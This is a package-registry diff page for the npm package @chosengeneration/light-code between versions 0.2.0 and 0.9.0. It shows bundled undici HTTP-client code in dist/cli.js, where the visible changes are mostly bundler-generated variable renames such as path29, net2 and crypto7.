@chosengeneration/light-code 0.2.0 → 0.9.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/dist/cli.js +1880 -604
- package/dist/client/client.js +36 -33
- package/dist/client/guide/appearance-dark.svg +1 -0
- package/dist/client/guide/appearance-light.svg +1 -0
- package/dist/client/guide/approvals-dark.svg +1 -0
- package/dist/client/guide/approvals-light.svg +1 -0
- package/dist/client/guide/chat-dark.svg +1 -0
- package/dist/client/guide/chat-light.svg +1 -0
- package/dist/client/guide/expert-dark.svg +1 -0
- package/dist/client/guide/expert-light.svg +1 -0
- package/dist/client/guide/mcp-dark.svg +1 -0
- package/dist/client/guide/mcp-light.svg +1 -0
- package/dist/client/guide/network-dark.svg +1 -0
- package/dist/client/guide/network-light.svg +1 -0
- package/dist/client/guide/orientation-dark.svg +1 -0
- package/dist/client/guide/orientation-light.svg +1 -0
- package/dist/client/guide/privacy-dark.svg +1 -0
- package/dist/client/guide/privacy-light.svg +1 -0
- package/dist/client/guide/providers-dark.svg +1 -0
- package/dist/client/guide/providers-light.svg +1 -0
- package/dist/client/guide/python-dark.svg +1 -0
- package/dist/client/guide/python-light.svg +1 -0
- package/dist/client/guide/schedules-dark.svg +1 -0
- package/dist/client/guide/schedules-light.svg +1 -0
- package/dist/client/guide/search-dark.svg +1 -0
- package/dist/client/guide/search-light.svg +1 -0
- package/dist/client/guide/skills-dark.svg +1 -0
- package/dist/client/guide/skills-light.svg +1 -0
- package/dist/client/guide/tools-dark.svg +1 -0
- package/dist/client/guide/tools-light.svg +1 -0
- package/dist/server.js +1551 -476
- package/package.json +65 -63
package/dist/cli.js
CHANGED
|
@@ -1041,7 +1041,7 @@ var require_util = __commonJS({
|
|
|
1041
1041
|
var { kDestroyed, kBodyUsed, kListeners, kBody } = require_symbols();
|
|
1042
1042
|
var { IncomingMessage } = __require("node:http");
|
|
1043
1043
|
var stream = __require("node:stream");
|
|
1044
|
-
var
|
|
1044
|
+
var net2 = __require("node:net");
|
|
1045
1045
|
var { stringify } = __require("node:querystring");
|
|
1046
1046
|
var { EventEmitter: EE, addAbortListener: addAbortListenerNative } = __require("node:events");
|
|
1047
1047
|
var timers = require_timers();
|
|
@@ -1143,14 +1143,14 @@ var require_util = __commonJS({
|
|
|
1143
1143
|
}
|
|
1144
1144
|
const port = url2.port != null ? url2.port : url2.protocol === "https:" ? 443 : 80;
|
|
1145
1145
|
let origin = url2.origin != null ? url2.origin : `${url2.protocol || ""}//${url2.hostname || ""}:${port}`;
|
|
1146
|
-
let
|
|
1146
|
+
let path29 = url2.path != null ? url2.path : `${url2.pathname || ""}${url2.search || ""}`;
|
|
1147
1147
|
if (origin[origin.length - 1] === "/") {
|
|
1148
1148
|
origin = origin.slice(0, origin.length - 1);
|
|
1149
1149
|
}
|
|
1150
|
-
if (
|
|
1151
|
-
|
|
1150
|
+
if (path29 && path29[0] !== "/") {
|
|
1151
|
+
path29 = `/${path29}`;
|
|
1152
1152
|
}
|
|
1153
|
-
return new URL(`${origin}${
|
|
1153
|
+
return new URL(`${origin}${path29}`);
|
|
1154
1154
|
}
|
|
1155
1155
|
if (!isHttpOrHttpsPrefixed(url2.origin || url2.protocol)) {
|
|
1156
1156
|
throw new InvalidArgumentError("Invalid URL protocol: the URL must start with `http:` or `https:`.");
|
|
@@ -1180,7 +1180,7 @@ var require_util = __commonJS({
|
|
|
1180
1180
|
}
|
|
1181
1181
|
assert2(typeof host === "string");
|
|
1182
1182
|
const servername = getHostname(host);
|
|
1183
|
-
if (
|
|
1183
|
+
if (net2.isIP(servername)) {
|
|
1184
1184
|
return "";
|
|
1185
1185
|
}
|
|
1186
1186
|
return servername;
|
|
@@ -2021,9 +2021,9 @@ var require_diagnostics = __commonJS({
|
|
|
2021
2021
|
"undici:client:sendHeaders",
|
|
2022
2022
|
(evt) => {
|
|
2023
2023
|
const {
|
|
2024
|
-
request: { method, path:
|
|
2024
|
+
request: { method, path: path29, origin }
|
|
2025
2025
|
} = evt;
|
|
2026
|
-
debugLog("sending request to %s %s%s", method, origin,
|
|
2026
|
+
debugLog("sending request to %s %s%s", method, origin, path29);
|
|
2027
2027
|
}
|
|
2028
2028
|
);
|
|
2029
2029
|
}
|
|
@@ -2041,14 +2041,14 @@ var require_diagnostics = __commonJS({
|
|
|
2041
2041
|
"undici:request:headers",
|
|
2042
2042
|
(evt) => {
|
|
2043
2043
|
const {
|
|
2044
|
-
request: { method, path:
|
|
2044
|
+
request: { method, path: path29, origin },
|
|
2045
2045
|
response: { statusCode }
|
|
2046
2046
|
} = evt;
|
|
2047
2047
|
debugLog(
|
|
2048
2048
|
"received response to %s %s%s - HTTP %d",
|
|
2049
2049
|
method,
|
|
2050
2050
|
origin,
|
|
2051
|
-
|
|
2051
|
+
path29,
|
|
2052
2052
|
statusCode
|
|
2053
2053
|
);
|
|
2054
2054
|
}
|
|
@@ -2057,23 +2057,23 @@ var require_diagnostics = __commonJS({
|
|
|
2057
2057
|
"undici:request:trailers",
|
|
2058
2058
|
(evt) => {
|
|
2059
2059
|
const {
|
|
2060
|
-
request: { method, path:
|
|
2060
|
+
request: { method, path: path29, origin }
|
|
2061
2061
|
} = evt;
|
|
2062
|
-
debugLog("trailers received from %s %s%s", method, origin,
|
|
2062
|
+
debugLog("trailers received from %s %s%s", method, origin, path29);
|
|
2063
2063
|
}
|
|
2064
2064
|
);
|
|
2065
2065
|
diagnosticsChannel.subscribe(
|
|
2066
2066
|
"undici:request:error",
|
|
2067
2067
|
(evt) => {
|
|
2068
2068
|
const {
|
|
2069
|
-
request: { method, path:
|
|
2069
|
+
request: { method, path: path29, origin },
|
|
2070
2070
|
error: error51
|
|
2071
2071
|
} = evt;
|
|
2072
2072
|
debugLog(
|
|
2073
2073
|
"request to %s %s%s errored - %s",
|
|
2074
2074
|
method,
|
|
2075
2075
|
origin,
|
|
2076
|
-
|
|
2076
|
+
path29,
|
|
2077
2077
|
error51.message
|
|
2078
2078
|
);
|
|
2079
2079
|
}
|
|
@@ -2228,7 +2228,7 @@ var require_request = __commonJS({
|
|
|
2228
2228
|
};
|
|
2229
2229
|
var Request = class {
|
|
2230
2230
|
constructor(origin, {
|
|
2231
|
-
path:
|
|
2231
|
+
path: path29,
|
|
2232
2232
|
method,
|
|
2233
2233
|
body,
|
|
2234
2234
|
headers,
|
|
@@ -2245,11 +2245,11 @@ var require_request = __commonJS({
|
|
|
2245
2245
|
maxRedirections,
|
|
2246
2246
|
typeOfService
|
|
2247
2247
|
}, handler) {
|
|
2248
|
-
if (typeof
|
|
2248
|
+
if (typeof path29 !== "string") {
|
|
2249
2249
|
throw new InvalidArgumentError("path must be a string");
|
|
2250
|
-
} else if (
|
|
2250
|
+
} else if (path29[0] !== "/" && !(path29.startsWith("http://") || path29.startsWith("https://")) && method !== "CONNECT") {
|
|
2251
2251
|
throw new InvalidArgumentError("path must be an absolute URL or start with a slash");
|
|
2252
|
-
} else if (invalidPathRegex.test(
|
|
2252
|
+
} else if (invalidPathRegex.test(path29)) {
|
|
2253
2253
|
throw new InvalidArgumentError("invalid request path");
|
|
2254
2254
|
}
|
|
2255
2255
|
if (typeof method !== "string") {
|
|
@@ -2324,7 +2324,7 @@ var require_request = __commonJS({
|
|
|
2324
2324
|
this.completed = false;
|
|
2325
2325
|
this.aborted = false;
|
|
2326
2326
|
this.upgrade = upgrade || null;
|
|
2327
|
-
this.path = query ? serializePathWithQuery(
|
|
2327
|
+
this.path = query ? serializePathWithQuery(path29, query) : path29;
|
|
2328
2328
|
this.origin = origin;
|
|
2329
2329
|
this.protocol = getProtocolFromUrlString(origin);
|
|
2330
2330
|
this.idempotent = idempotent == null ? method === "HEAD" || method === "GET" || method === "QUERY" : idempotent;
|
|
@@ -2782,7 +2782,7 @@ var require_dispatcher_base = __commonJS({
|
|
|
2782
2782
|
var require_connect = __commonJS({
|
|
2783
2783
|
"../../node_modules/.pnpm/undici@8.10.0/node_modules/undici/lib/core/connect.js"(exports, module) {
|
|
2784
2784
|
"use strict";
|
|
2785
|
-
var
|
|
2785
|
+
var net2 = __require("node:net");
|
|
2786
2786
|
var assert2 = __require("node:assert");
|
|
2787
2787
|
var util = require_util();
|
|
2788
2788
|
var { InvalidArgumentError, ConnectTimeoutError } = require_errors();
|
|
@@ -2873,7 +2873,7 @@ var require_connect = __commonJS({
|
|
|
2873
2873
|
port,
|
|
2874
2874
|
host: hostname3
|
|
2875
2875
|
};
|
|
2876
|
-
const family =
|
|
2876
|
+
const family = net2.isIP(hostname3);
|
|
2877
2877
|
if (family !== 0 && servername && servername !== hostname3) {
|
|
2878
2878
|
connectOptions.host = servername;
|
|
2879
2879
|
connectOptions.lookup = (_hostname, lookupOptions, cb) => {
|
|
@@ -2884,7 +2884,7 @@ var require_connect = __commonJS({
|
|
|
2884
2884
|
}
|
|
2885
2885
|
};
|
|
2886
2886
|
}
|
|
2887
|
-
socket =
|
|
2887
|
+
socket = net2.connect(connectOptions);
|
|
2888
2888
|
if (useH2c === true) {
|
|
2889
2889
|
socket.alpnProtocol = "h2";
|
|
2890
2890
|
}
|
|
@@ -7410,7 +7410,7 @@ var require_client_h1 = __commonJS({
|
|
|
7410
7410
|
}
|
|
7411
7411
|
}
|
|
7412
7412
|
function writeH1(client, request) {
|
|
7413
|
-
const { method, path:
|
|
7413
|
+
const { method, path: path29, host, upgrade, blocking, reset } = request;
|
|
7414
7414
|
let { body, headers, contentLength } = request;
|
|
7415
7415
|
const expectsPayload = method === "PUT" || method === "POST" || method === "PATCH" || method === "QUERY" || method === "PROPFIND" || method === "PROPPATCH";
|
|
7416
7416
|
if (util.isFormDataLike(body)) {
|
|
@@ -7486,7 +7486,7 @@ var require_client_h1 = __commonJS({
|
|
|
7486
7486
|
socket[kBlocking] = true;
|
|
7487
7487
|
}
|
|
7488
7488
|
setTypeOfService(socket, request);
|
|
7489
|
-
let header = `${method} ${
|
|
7489
|
+
let header = `${method} ${path29} HTTP/1.1\r
|
|
7490
7490
|
`;
|
|
7491
7491
|
if (typeof host === "string") {
|
|
7492
7492
|
header += `host: ${host}\r
|
|
@@ -8567,7 +8567,7 @@ var require_client_h2 = __commonJS({
|
|
|
8567
8567
|
const headersTimeout = request.headersTimeout ?? client[kHeadersTimeout];
|
|
8568
8568
|
const bodyTimeout = request.bodyTimeout ?? client[kBodyTimeout];
|
|
8569
8569
|
const session = client[kHTTP2Session];
|
|
8570
|
-
const { method, path:
|
|
8570
|
+
const { method, path: path29, host, upgrade, expectContinue, signal, protocol, headers: reqHeaders } = request;
|
|
8571
8571
|
if (upgrade != null && upgrade !== "websocket") {
|
|
8572
8572
|
util.errorRequest(client, request, new InvalidArgumentError(`Custom upgrade "${upgrade}" not supported over HTTP/2`));
|
|
8573
8573
|
return false;
|
|
@@ -8630,7 +8630,7 @@ var require_client_h2 = __commonJS({
|
|
|
8630
8630
|
}
|
|
8631
8631
|
headers[HTTP2_HEADER_METHOD] = "CONNECT";
|
|
8632
8632
|
headers[HTTP2_HEADER_PROTOCOL] = "websocket";
|
|
8633
|
-
headers[HTTP2_HEADER_PATH] =
|
|
8633
|
+
headers[HTTP2_HEADER_PATH] = path29;
|
|
8634
8634
|
if (protocol === "ws:" || protocol === "wss:") {
|
|
8635
8635
|
headers[HTTP2_HEADER_SCHEME] = protocol === "ws:" ? "http" : "https";
|
|
8636
8636
|
} else {
|
|
@@ -8652,7 +8652,7 @@ var require_client_h2 = __commonJS({
|
|
|
8652
8652
|
setupUpgradeStream(stream, state);
|
|
8653
8653
|
return true;
|
|
8654
8654
|
}
|
|
8655
|
-
headers[HTTP2_HEADER_PATH] =
|
|
8655
|
+
headers[HTTP2_HEADER_PATH] = path29;
|
|
8656
8656
|
headers[HTTP2_HEADER_SCHEME] = protocol === "http:" ? "http" : "https";
|
|
8657
8657
|
const expectsPayload = method === "PUT" || method === "POST" || method === "PATCH" || method === "QUERY" || method === "PROPFIND" || method === "PROPPATCH";
|
|
8658
8658
|
let body = state.body;
|
|
@@ -9076,7 +9076,7 @@ var require_client = __commonJS({
|
|
|
9076
9076
|
"../../node_modules/.pnpm/undici@8.10.0/node_modules/undici/lib/dispatcher/client.js"(exports, module) {
|
|
9077
9077
|
"use strict";
|
|
9078
9078
|
var assert2 = __require("node:assert");
|
|
9079
|
-
var
|
|
9079
|
+
var net2 = __require("node:net");
|
|
9080
9080
|
var http = __require("node:http");
|
|
9081
9081
|
var util = require_util();
|
|
9082
9082
|
var { ClientStats } = require_stats();
|
|
@@ -9245,7 +9245,7 @@ var require_client = __commonJS({
|
|
|
9245
9245
|
if (maxRequestsPerClient != null && (!Number.isInteger(maxRequestsPerClient) || maxRequestsPerClient < 0)) {
|
|
9246
9246
|
throw new InvalidArgumentError("maxRequestsPerClient must be a positive number");
|
|
9247
9247
|
}
|
|
9248
|
-
if (localAddress != null && (typeof localAddress !== "string" ||
|
|
9248
|
+
if (localAddress != null && (typeof localAddress !== "string" || net2.isIP(localAddress) === 0)) {
|
|
9249
9249
|
throw new InvalidArgumentError("localAddress must be valid string IP address");
|
|
9250
9250
|
}
|
|
9251
9251
|
if (maxResponseSize != null && (!Number.isInteger(maxResponseSize) || maxResponseSize < -1)) {
|
|
@@ -9463,7 +9463,7 @@ var require_client = __commonJS({
|
|
|
9463
9463
|
const idx = hostname3.indexOf("]");
|
|
9464
9464
|
assert2(idx !== -1);
|
|
9465
9465
|
const ip = hostname3.substring(1, idx);
|
|
9466
|
-
assert2(
|
|
9466
|
+
assert2(net2.isIPv6(ip));
|
|
9467
9467
|
hostname3 = ip;
|
|
9468
9468
|
}
|
|
9469
9469
|
client[kConnecting] = true;
|
|
@@ -10551,10 +10551,10 @@ var require_socks5_utils = __commonJS({
|
|
|
10551
10551
|
"../../node_modules/.pnpm/undici@8.10.0/node_modules/undici/lib/core/socks5-utils.js"(exports, module) {
|
|
10552
10552
|
"use strict";
|
|
10553
10553
|
var { Buffer: Buffer2 } = __require("node:buffer");
|
|
10554
|
-
var
|
|
10554
|
+
var net2 = __require("node:net");
|
|
10555
10555
|
var { InvalidArgumentError } = require_errors();
|
|
10556
10556
|
function parseAddress(address) {
|
|
10557
|
-
if (
|
|
10557
|
+
if (net2.isIPv4(address)) {
|
|
10558
10558
|
const parts = address.split(".").map(Number);
|
|
10559
10559
|
return {
|
|
10560
10560
|
type: 1,
|
|
@@ -10562,7 +10562,7 @@ var require_socks5_utils = __commonJS({
|
|
|
10562
10562
|
buffer: Buffer2.from(parts)
|
|
10563
10563
|
};
|
|
10564
10564
|
}
|
|
10565
|
-
if (
|
|
10565
|
+
if (net2.isIPv6(address)) {
|
|
10566
10566
|
return {
|
|
10567
10567
|
type: 4,
|
|
10568
10568
|
// IPv6
|
|
@@ -10585,7 +10585,7 @@ var require_socks5_utils = __commonJS({
|
|
|
10585
10585
|
if (address.includes(".")) {
|
|
10586
10586
|
const lastColonIndex = address.lastIndexOf(":");
|
|
10587
10587
|
const ipv4Part = address.slice(lastColonIndex + 1);
|
|
10588
|
-
if (
|
|
10588
|
+
if (net2.isIPv4(ipv4Part)) {
|
|
10589
10589
|
const octets = ipv4Part.split(".").map(Number);
|
|
10590
10590
|
const high = (octets[0] << 8 | octets[1]).toString(16);
|
|
10591
10591
|
const low = (octets[2] << 8 | octets[3]).toString(16);
|
|
@@ -11322,10 +11322,10 @@ var require_proxy_agent = __commonJS({
|
|
|
11322
11322
|
};
|
|
11323
11323
|
const {
|
|
11324
11324
|
origin,
|
|
11325
|
-
path:
|
|
11325
|
+
path: path29 = "/",
|
|
11326
11326
|
headers = {}
|
|
11327
11327
|
} = opts;
|
|
11328
|
-
opts.path = origin +
|
|
11328
|
+
opts.path = origin + path29;
|
|
11329
11329
|
if (!("host" in headers) && !("Host" in headers)) {
|
|
11330
11330
|
const { host } = new URL(origin);
|
|
11331
11331
|
headers.host = host;
|
|
@@ -13590,20 +13590,20 @@ var require_mock_utils = __commonJS({
|
|
|
13590
13590
|
}
|
|
13591
13591
|
return normalizedQp;
|
|
13592
13592
|
}
|
|
13593
|
-
function safeUrl(
|
|
13594
|
-
if (typeof
|
|
13595
|
-
return
|
|
13593
|
+
function safeUrl(path29) {
|
|
13594
|
+
if (typeof path29 !== "string") {
|
|
13595
|
+
return path29;
|
|
13596
13596
|
}
|
|
13597
|
-
const pathSegments =
|
|
13597
|
+
const pathSegments = path29.split("?", 3);
|
|
13598
13598
|
if (pathSegments.length !== 2) {
|
|
13599
|
-
return
|
|
13599
|
+
return path29;
|
|
13600
13600
|
}
|
|
13601
13601
|
const qp = new URLSearchParams(pathSegments.pop());
|
|
13602
13602
|
qp.sort();
|
|
13603
13603
|
return [...pathSegments, qp.toString()].join("?");
|
|
13604
13604
|
}
|
|
13605
|
-
function matchKey(mockDispatch2, { path:
|
|
13606
|
-
const pathMatch = matchValue(mockDispatch2.path,
|
|
13605
|
+
function matchKey(mockDispatch2, { path: path29, method, body, headers }) {
|
|
13606
|
+
const pathMatch = matchValue(mockDispatch2.path, path29);
|
|
13607
13607
|
const methodMatch = matchValue(mockDispatch2.method, method);
|
|
13608
13608
|
const bodyMatch = typeof mockDispatch2.body !== "undefined" ? matchValue(mockDispatch2.body, body) : true;
|
|
13609
13609
|
const headersMatch = matchHeaders(mockDispatch2, headers);
|
|
@@ -13630,8 +13630,8 @@ var require_mock_utils = __commonJS({
|
|
|
13630
13630
|
const basePath = key.query ? serializePathWithQuery(key.path, key.query) : key.path;
|
|
13631
13631
|
const resolvedPath = typeof basePath === "string" ? safeUrl(basePath) : basePath;
|
|
13632
13632
|
const resolvedPathWithoutTrailingSlash = removeTrailingSlash(resolvedPath);
|
|
13633
|
-
let matchedMockDispatches = mockDispatches.filter(({ consumed }) => !consumed).filter(({ path:
|
|
13634
|
-
return ignoreTrailingSlash ? matchValue(removeTrailingSlash(safeUrl(
|
|
13633
|
+
let matchedMockDispatches = mockDispatches.filter(({ consumed }) => !consumed).filter(({ path: path29, ignoreTrailingSlash }) => {
|
|
13634
|
+
return ignoreTrailingSlash ? matchValue(removeTrailingSlash(safeUrl(path29)), resolvedPathWithoutTrailingSlash) : matchValue(safeUrl(path29), resolvedPath);
|
|
13635
13635
|
});
|
|
13636
13636
|
if (matchedMockDispatches.length === 0) {
|
|
13637
13637
|
throw new MockNotMatchedError(`Mock dispatch not matched for path '${resolvedPath}'`);
|
|
@@ -13670,22 +13670,22 @@ var require_mock_utils = __commonJS({
|
|
|
13670
13670
|
mockDispatches.splice(index, 1);
|
|
13671
13671
|
}
|
|
13672
13672
|
}
|
|
13673
|
-
function removeTrailingSlash(
|
|
13674
|
-
if (typeof
|
|
13675
|
-
return
|
|
13673
|
+
function removeTrailingSlash(path29) {
|
|
13674
|
+
if (typeof path29 !== "string") {
|
|
13675
|
+
return path29;
|
|
13676
13676
|
}
|
|
13677
|
-
while (
|
|
13678
|
-
|
|
13677
|
+
while (path29.endsWith("/")) {
|
|
13678
|
+
path29 = path29.slice(0, -1);
|
|
13679
13679
|
}
|
|
13680
|
-
if (
|
|
13681
|
-
|
|
13680
|
+
if (path29.length === 0) {
|
|
13681
|
+
path29 = "/";
|
|
13682
13682
|
}
|
|
13683
|
-
return
|
|
13683
|
+
return path29;
|
|
13684
13684
|
}
|
|
13685
13685
|
function buildKey(opts) {
|
|
13686
|
-
const { path:
|
|
13686
|
+
const { path: path29, method, body, headers, query } = opts;
|
|
13687
13687
|
return {
|
|
13688
|
-
path:
|
|
13688
|
+
path: path29,
|
|
13689
13689
|
method,
|
|
13690
13690
|
body,
|
|
13691
13691
|
headers,
|
|
@@ -14556,10 +14556,10 @@ var require_pending_interceptors_formatter = __commonJS({
|
|
|
14556
14556
|
}
|
|
14557
14557
|
format(pendingInterceptors) {
|
|
14558
14558
|
const withPrettyHeaders = pendingInterceptors.map(
|
|
14559
|
-
({ method, path:
|
|
14559
|
+
({ method, path: path29, data: { statusCode }, persist, times, timesInvoked, origin }) => ({
|
|
14560
14560
|
Method: method,
|
|
14561
14561
|
Origin: origin,
|
|
14562
|
-
Path:
|
|
14562
|
+
Path: path29,
|
|
14563
14563
|
"Status code": statusCode,
|
|
14564
14564
|
Persistent: persist ? PERSISTENT : NOT_PERSISTENT,
|
|
14565
14565
|
Invocations: timesInvoked,
|
|
@@ -14641,9 +14641,9 @@ var require_mock_agent = __commonJS({
|
|
|
14641
14641
|
const acceptNonStandardSearchParameters = this[kMockAgentAcceptsNonStandardSearchParameters];
|
|
14642
14642
|
const dispatchOpts = { ...opts };
|
|
14643
14643
|
if (acceptNonStandardSearchParameters && dispatchOpts.path) {
|
|
14644
|
-
const [
|
|
14644
|
+
const [path29, searchParams] = dispatchOpts.path.split("?");
|
|
14645
14645
|
const normalizedSearchParams = normalizeSearchParams(searchParams, acceptNonStandardSearchParameters);
|
|
14646
|
-
dispatchOpts.path = `${
|
|
14646
|
+
dispatchOpts.path = `${path29}?${normalizedSearchParams}`;
|
|
14647
14647
|
}
|
|
14648
14648
|
return this[kAgent].dispatch(dispatchOpts, handler);
|
|
14649
14649
|
}
|
|
@@ -14771,8 +14771,8 @@ var require_snapshot_utils = __commonJS({
|
|
|
14771
14771
|
match: new Set(matchHeaders.map((header) => caseSensitive ? header : header.toLowerCase()))
|
|
14772
14772
|
};
|
|
14773
14773
|
}
|
|
14774
|
-
var
|
|
14775
|
-
var hashId =
|
|
14774
|
+
var crypto7 = runtimeFeatures.has("crypto") ? __require("node:crypto") : null;
|
|
14775
|
+
var hashId = crypto7?.hash ? (value) => crypto7.hash("sha256", value, "base64url") : (value) => Buffer.from(value).toString("base64url");
|
|
14776
14776
|
function isUndiciHeaders(headers) {
|
|
14777
14777
|
return Array.isArray(headers) && (headers.length & 1) === 0;
|
|
14778
14778
|
}
|
|
@@ -15059,12 +15059,12 @@ var require_snapshot_recorder = __commonJS({
|
|
|
15059
15059
|
* @return {Promise<void>} - Resolves when snapshots are loaded
|
|
15060
15060
|
*/
|
|
15061
15061
|
async loadSnapshots(filePath) {
|
|
15062
|
-
const
|
|
15063
|
-
if (!
|
|
15062
|
+
const path29 = filePath || this.#snapshotPath;
|
|
15063
|
+
if (!path29) {
|
|
15064
15064
|
throw new InvalidArgumentError("Snapshot path is required");
|
|
15065
15065
|
}
|
|
15066
15066
|
try {
|
|
15067
|
-
const data = await readFile2(resolve(
|
|
15067
|
+
const data = await readFile2(resolve(path29), "utf8");
|
|
15068
15068
|
const parsed = JSON.parse(data);
|
|
15069
15069
|
if (Array.isArray(parsed)) {
|
|
15070
15070
|
this.#snapshots.clear();
|
|
@@ -15078,7 +15078,7 @@ var require_snapshot_recorder = __commonJS({
|
|
|
15078
15078
|
if (error51.code === "ENOENT") {
|
|
15079
15079
|
this.#snapshots.clear();
|
|
15080
15080
|
} else {
|
|
15081
|
-
throw new UndiciError(`Failed to load snapshots from ${
|
|
15081
|
+
throw new UndiciError(`Failed to load snapshots from ${path29}`, { cause: error51 });
|
|
15082
15082
|
}
|
|
15083
15083
|
}
|
|
15084
15084
|
}
|
|
@@ -15089,11 +15089,11 @@ var require_snapshot_recorder = __commonJS({
|
|
|
15089
15089
|
* @returns {Promise<void>} - Resolves when snapshots are saved
|
|
15090
15090
|
*/
|
|
15091
15091
|
async saveSnapshots(filePath) {
|
|
15092
|
-
const
|
|
15093
|
-
if (!
|
|
15092
|
+
const path29 = filePath || this.#snapshotPath;
|
|
15093
|
+
if (!path29) {
|
|
15094
15094
|
throw new InvalidArgumentError("Snapshot path is required");
|
|
15095
15095
|
}
|
|
15096
|
-
const resolvedPath = resolve(
|
|
15096
|
+
const resolvedPath = resolve(path29);
|
|
15097
15097
|
await mkdir(dirname(resolvedPath), { recursive: true });
|
|
15098
15098
|
const data = Array.from(this.#snapshots.entries()).map(([hash2, snapshot]) => ({
|
|
15099
15099
|
hash: hash2,
|
|
@@ -15730,15 +15730,15 @@ var require_redirect_handler = __commonJS({
|
|
|
15730
15730
|
return;
|
|
15731
15731
|
}
|
|
15732
15732
|
const { origin, pathname, search } = util.parseURL(new URL(this.location, this.opts.origin && new URL(this.opts.path, this.opts.origin)));
|
|
15733
|
-
const
|
|
15734
|
-
const redirectUrlString = `${origin}${
|
|
15733
|
+
const path29 = search ? `${pathname}${search}` : pathname;
|
|
15734
|
+
const redirectUrlString = `${origin}${path29}`;
|
|
15735
15735
|
for (const historyUrl of this.history) {
|
|
15736
15736
|
if (historyUrl.toString() === redirectUrlString) {
|
|
15737
15737
|
throw new InvalidArgumentError(`Redirect loop detected. Cannot redirect to ${origin}. This typically happens when using a Client or Pool with cross-origin redirects. Use an Agent for cross-origin redirects.`);
|
|
15738
15738
|
}
|
|
15739
15739
|
}
|
|
15740
15740
|
this.opts.headers = cleanRequestHeaders(this.opts.headers, removeContentHeaders, this.opts.origin !== origin, this.stripHeadersOnRedirect, this.stripHeadersOnCrossOriginRedirect);
|
|
15741
|
-
this.opts.path =
|
|
15741
|
+
this.opts.path = path29;
|
|
15742
15742
|
this.opts.origin = origin;
|
|
15743
15743
|
this.opts.query = null;
|
|
15744
15744
|
}
|
|
@@ -17566,10 +17566,10 @@ var require_cache_handler = __commonJS({
|
|
|
17566
17566
|
}
|
|
17567
17567
|
return locationUrl.pathname + locationUrl.search;
|
|
17568
17568
|
}
|
|
17569
|
-
function deleteCachedUri(store, cacheKey,
|
|
17569
|
+
function deleteCachedUri(store, cacheKey, path29) {
|
|
17570
17570
|
deleteCachedValue(store, {
|
|
17571
17571
|
...cacheKey,
|
|
17572
|
-
path:
|
|
17572
|
+
path: path29
|
|
17573
17573
|
});
|
|
17574
17574
|
for (let i = 0; i < util.safeHTTPMethods.length; i++) {
|
|
17575
17575
|
const method = util.safeHTTPMethods[i];
|
|
@@ -17577,7 +17577,7 @@ var require_cache_handler = __commonJS({
|
|
|
17577
17577
|
deleteCachedValue(store, {
|
|
17578
17578
|
...cacheKey,
|
|
17579
17579
|
method,
|
|
17580
|
-
path:
|
|
17580
|
+
path: path29
|
|
17581
17581
|
});
|
|
17582
17582
|
}
|
|
17583
17583
|
}
|
|
@@ -17588,9 +17588,9 @@ var require_cache_handler = __commonJS({
|
|
|
17588
17588
|
}
|
|
17589
17589
|
const values = Array.isArray(headerValue) ? headerValue : [headerValue];
|
|
17590
17590
|
for (let i = 0; i < values.length; i++) {
|
|
17591
|
-
const
|
|
17592
|
-
if (
|
|
17593
|
-
deleteCachedUri(store, cacheKey,
|
|
17591
|
+
const path29 = getSameOriginPath(cacheKey, values[i]);
|
|
17592
|
+
if (path29 !== void 0) {
|
|
17593
|
+
deleteCachedUri(store, cacheKey, path29);
|
|
17594
17594
|
}
|
|
17595
17595
|
}
|
|
17596
17596
|
}
|
|
@@ -21463,10 +21463,10 @@ var require_subresource_integrity = __commonJS({
|
|
|
21463
21463
|
var assert2 = __require("node:assert");
|
|
21464
21464
|
var { runtimeFeatures } = require_runtime_features();
|
|
21465
21465
|
var validSRIHashAlgorithmTokenSet = /* @__PURE__ */ new Map([["sha256", 0], ["sha384", 1], ["sha512", 2]]);
|
|
21466
|
-
var
|
|
21466
|
+
var crypto7;
|
|
21467
21467
|
if (runtimeFeatures.has("crypto")) {
|
|
21468
|
-
|
|
21469
|
-
const cryptoHashes =
|
|
21468
|
+
crypto7 = __require("node:crypto");
|
|
21469
|
+
const cryptoHashes = crypto7.getHashes();
|
|
21470
21470
|
if (cryptoHashes.length === 0) {
|
|
21471
21471
|
validSRIHashAlgorithmTokenSet.clear();
|
|
21472
21472
|
}
|
|
@@ -21556,7 +21556,7 @@ var require_subresource_integrity = __commonJS({
|
|
|
21556
21556
|
return result;
|
|
21557
21557
|
}
|
|
21558
21558
|
var applyAlgorithmToBytes = (algorithm, bytes) => {
|
|
21559
|
-
return
|
|
21559
|
+
return crypto7.hash(algorithm, bytes, "base64");
|
|
21560
21560
|
};
|
|
21561
21561
|
function caseSensitiveMatch(actualValue, expectedValue) {
|
|
21562
21562
|
let actualValueLength = actualValue.length;
|
|
@@ -22587,13 +22587,13 @@ var require_fetch = __commonJS({
|
|
|
22587
22587
|
function dispatch({ body }) {
|
|
22588
22588
|
const url2 = requestCurrentURL(request);
|
|
22589
22589
|
const agent = fetchParams.controller.dispatcher;
|
|
22590
|
-
const
|
|
22590
|
+
const path29 = url2.pathname + url2.search;
|
|
22591
22591
|
const hasTrailingQuestionMark = url2.search.length === 0 && url2.href[url2.href.length - url2.hash.length - 1] === "?";
|
|
22592
22592
|
return dispatchWithProtocolPreference(body);
|
|
22593
22593
|
function dispatchWithProtocolPreference(body2, allowH2) {
|
|
22594
22594
|
return new Promise((resolve, reject2) => agent.dispatch(
|
|
22595
22595
|
{
|
|
22596
|
-
path: hasTrailingQuestionMark ? `${
|
|
22596
|
+
path: hasTrailingQuestionMark ? `${path29}?` : path29,
|
|
22597
22597
|
origin: url2.origin,
|
|
22598
22598
|
method: request.method,
|
|
22599
22599
|
body: agent.isMockActive ? request.body && (request.body.source || request.body.stream) : body2,
|
|
@@ -23505,9 +23505,9 @@ var require_util4 = __commonJS({
|
|
|
23505
23505
|
}
|
|
23506
23506
|
}
|
|
23507
23507
|
}
|
|
23508
|
-
function validateCookiePath(
|
|
23509
|
-
for (let i = 0; i <
|
|
23510
|
-
const code =
|
|
23508
|
+
function validateCookiePath(path29) {
|
|
23509
|
+
for (let i = 0; i < path29.length; ++i) {
|
|
23510
|
+
const code = path29.charCodeAt(i);
|
|
23511
23511
|
if (code < 32 || // exclude CTLs (0-31)
|
|
23512
23512
|
code > 126 || // exclude non-ascii and DEL
|
|
23513
23513
|
code === 59) {
|
|
@@ -24539,7 +24539,7 @@ var require_connection = __commonJS({
|
|
|
24539
24539
|
var { WebsocketFrameSend } = require_frame();
|
|
24540
24540
|
